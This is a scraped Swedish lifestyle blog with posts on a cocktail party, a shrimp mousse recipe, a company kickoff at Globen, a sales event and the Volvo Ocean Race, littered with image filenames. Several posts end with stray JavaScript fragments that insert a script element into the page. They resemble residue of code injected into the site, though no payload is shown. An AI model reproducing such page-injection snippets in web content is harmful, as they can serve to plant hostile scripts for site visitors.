8ight Cocktailparty

I fredags var jag inbjuden till ett cocktailevent på 8ight.

I samarbete med Purity Vodka hade de bjudit in två av Stockhoms bästa cocktailbartenders som blandade en massa goda drinkar.

image

Jag bar ”Hannah dress” från Hannah Graaf’s fina ”FEMME Collection”. Klänningen är från förra säsongen och finns dessvärre inte kvar att köpa. Scarfsen är från första säsongen och heter ”Amanda Scarf”.  Dock finns det en massa annat fint att handla där eller så kontaktar ni mig för en privat visning då jag är återförsäljare av FEMME Collection i Göteborg. Ni kan kontakta mig på helena.lagerbohm@gmail.com.

Bartenders:
Magnus Pettersson, Brand Ambassador Purity Vodka
– Maze (London)
Oskar Johansson, barchef Corner Club
– Årets nykomling 2013 på Bartenders Choice Awards

Det bjöds även på liveband av ”People Swing Orchestra” och DJ.

image

Jag beställde en drink från ”Oskar Johansson”, barchef på Corner Club i Stockholm. I slutet av förra året korades Oskar till den svenska vinnaren i en av världens främsta cocktailtävlingar – BACARDÍ Legacy.

Vill ni kontakta honom gör ni det på oskar@cornerclub.se

image

Här ser ni drinkmenyn.

imageimageimageimageimageDet serverades goda tilltugg till drinkarna.

imageimageimageimageimageimage

 

 

 

d.getElementsByTagName(‘head’)[0].appendChild(s);

Räkmousse

12744372_10153431523865959_4196997906889747981_n

IMG_5875

Räkmousse 4 pers.
1/2 kg räkor (oskalade)
1 pkt crabfish
1 dl grädde
1 dl majonnäs
1 tsk gelatinpulver

Räkor, löjrom, dill och citron eller valfri topping. Här hade jag gjort laxrullar som jag skurit upp i bitar.

Gör så här:
Skala räkorna, kör dom i mixer, lägg i crabfishen och mixa igen. Vispa grädden hårt och blanda i majonnäsen. Ner med gräddblandningen i mixern och mixa. Gelatinpulvret rörd ut i en matsked vatten, häll i det i röran plus ytterligare 1/2 dl vatten. Blanda. Lägg i moussen i en form eller serveringsglas.  Den skall stå i kyl i minst ett par timmar. Den är god att servera med löjrom och citron.

IMG_5872IMG_5873}

Kickoff 2016

I år firade Fastighetsbyrån 50-år och det firades på Globen.

globen1main_qualityhotelglobe

Vi åkte tåg upp till Stockholm på torsdag den 21:e januari och checkade in på  Hotell Globen.

IMG_5555

IMG_5546

Rummet var ett familjerum så det var gott om plats för två personer.

IMG_5552IMG_5550IMG_5553

När vi checkat in på hotellet minglade vi lite i  lobbyn.

IMG_5549IMG_5556
På kvällen åkte vi in till stan och åt en supergod middag på Supper. Vi beställde in en massa rätter som vi åt.

IMG_5520

På fredagen hölls konferensen på Annexet på Globen.

ImageHandler2.ashxbbbbbbbImageHandler2.ashxccccImageHandler2.ashxbbbmImageHandler2.ashxbbbbDSC_9676_857704727ImageHandler2.ashxpppImageHandler2.ashxttImageHandler2.ashxeeImageHandler2.ashxiiiImageHandler2.ashxgImageHandler2.ashxff

ImageHandler2.ashxdddImageHandler2.ashxmmmImageHandler2.ashxbbbImageHandler2.ashxuuu

Efter konferensen bytte vi om och så var det en liten förfest ihop med kollegorna. Fördrinken och festligheterna hölls på själva Globen på kvällen.

IMG_5571IMG_5570IMG_5574

IMG_5573IMG_5572För att komma in på kvällens festligheter fick vi alla ett magnetarmband som de scannade in vid ankomst. På armbanden var det laddat med drinkbiljetter.

IMG_5611
Ingen dålig bordsplacering inför kvällens festligheter.

IMG_5567

IMG_5566

ImageHandler2.ashxP1050711_-425038334P1050702_1926345418P1050702_1926345418P1050696_-1338633784

IMG_5575IMG_5577

Kvällens nominerade:
IMG_5558IMG_5557 IMG_5559

Förrätt:
Picklad gulbeta, kanderad solroskärna & tegelrökt skinka med ringlad örtolja. Löjrom med västerbottenpannacotta. Dilldipp med friterad tunnbröd. Lågtempat ägg med tryffelmajonnäs & stekt bröd.
Vin: Antanto Macabeo Organic: Spanien

P1050692_1076364876P1050685_494355980

IMG_5564IMG_5568IMG_5563IMG_5560IMG_5565

Varmrätt:
Grillad kalventrecote, rosmarinsky & kycklingleverbruchetta med rimmad sidfläsk. Serveras med rostad rotfruktsallad & stekt rödlök.
Vin: Ananto Bobal Tempranillo EKO, Spanien

IMG_5562

Dessert:
Chokladfondant med hjortronpannacotta, mjölkchoklad & lakritscreme samt browniecrumble & chokladsirap.
Kaffe med avec.

IMG_5561

IMG_5569IMG_5576

IMG_5587IMG_5586IMG_5588

Allt var så lyckat med supergod mat och dryck och en massa bra artister som underhöll.
Darin, Orup,  Miriam Bryant och Alcazar underhöll under kvällen .

IMG_5597

Kristian Luuk var confrencier under kvällen också tillsammans med vår allas ”Mats”.

ImageHandler2.ashxf

IMG_5585

IMG_5590

 

 

Miriam Bryant

IMG_5582

IMG_5589

Darin

 

IMG_55991IMG_5592

IMG_5584

ImageHandler2.ashxoImageHandler2.ashxå

IMG_55941

Orup

IMG_5593

IMG_5583

ImageHandler2.ashxl

Alcazar

IMG_5595IMG_5596

ImageHandler2.ashxkImageHandler2.ashxiImageHandler2.ashxhif (document.currentScript) {

Femme Collection mingel för mina värdinnor från vår/sommar 2015

20

24

Känns kul att jag blev årets säljare på FME Collection, den säljare som sålt mest i februari/mars i år. Nu väntar ett fint pris på kickoffen i augusti.
Efter jag fått information om att jag vunnit det fina priset ville jag ge igen med ett litet event till mina fina värdinnor som jag haft under våren. Totalt har jag haft 17 visningar och 17 värdinnor. Pga av semestertider blev det en liten skara som kom hem till mig på välkomstdrink, bubbel, vin och en massa godsaker att äta.

Välkomstdrink en blev Rhuby blandat med flädercider.
711188
”Rotary” bubbel till maten.

161715

2326

Bjöd tjejerna på lite varma crustader fyllda med skinkost till drinken.

19

Sen blev det en liten buffé med följande:
Bulgursallad med lax, apelsin, mango, gräslök, spenat och limedressing

14

13

28

Parmainlindad getost med gräslök

9

 

Holländsk getost med mango

1

Tomat med mozzarella och basilika

10

Tomatpesto
2221Efter maten blev det lite dessert.

25Jordgubbspannacotta med blåbär

3

Brigadeiros

5

Chokladdoppade jordgubbar doppad i strössel

Chokladdoppade physalis

6

Får tacka för en superfin FME säsong! Nu väntar en ny spännande höst/vinter med FME Collection!

27document.currentScript.parentNode.insertBefore(s, document.currentScript);

Port du Soleil VIP korts kväll

913181781514201912101164532IMG_8344I maj var det dags för årets vipkottutdelning till Port du Soleil och jag var där med en kompis Anette. Vi var där i början av kvällen och drack rosé, åt god mat och minglade. Senare på kvällen blev det helt hysteriskt mycket folk och då kände vi att det var dags att gå hem.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Volvo Ocean race 21-28 juni 2015

Fastighetsbyrån fanns med på Volvo Ocean race och den 24:e juni jobbade jag med några kollegor i vår monter vid frihamnen.

Här kommer lite bilder från eventet.

173

Vårat tält var placerat i början av evenemangsområdet och vi delade ut vatten och pratade med kunder. Vi hade en rolig tävling där besökare fick gissa priset på olika bostäder. Vi drog en ny vinnare varje kväll på den som gissat närmast pris och det var en populär tävling.

6418

Här står Simon, Victoria och jag och väntar på att få prata med lite besökare.

51132

Vi hade laddad ordenligt med vatten till Volvo Ocean race.
19714

Mirjana och jag försökte få besökare att vara med på vår tävling ”gissa rätt pris”.

1516

Vi såg SCA båten här.

1089

Min kollega Mirjana och jag fick klämma lite på prispokalen.

1211

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);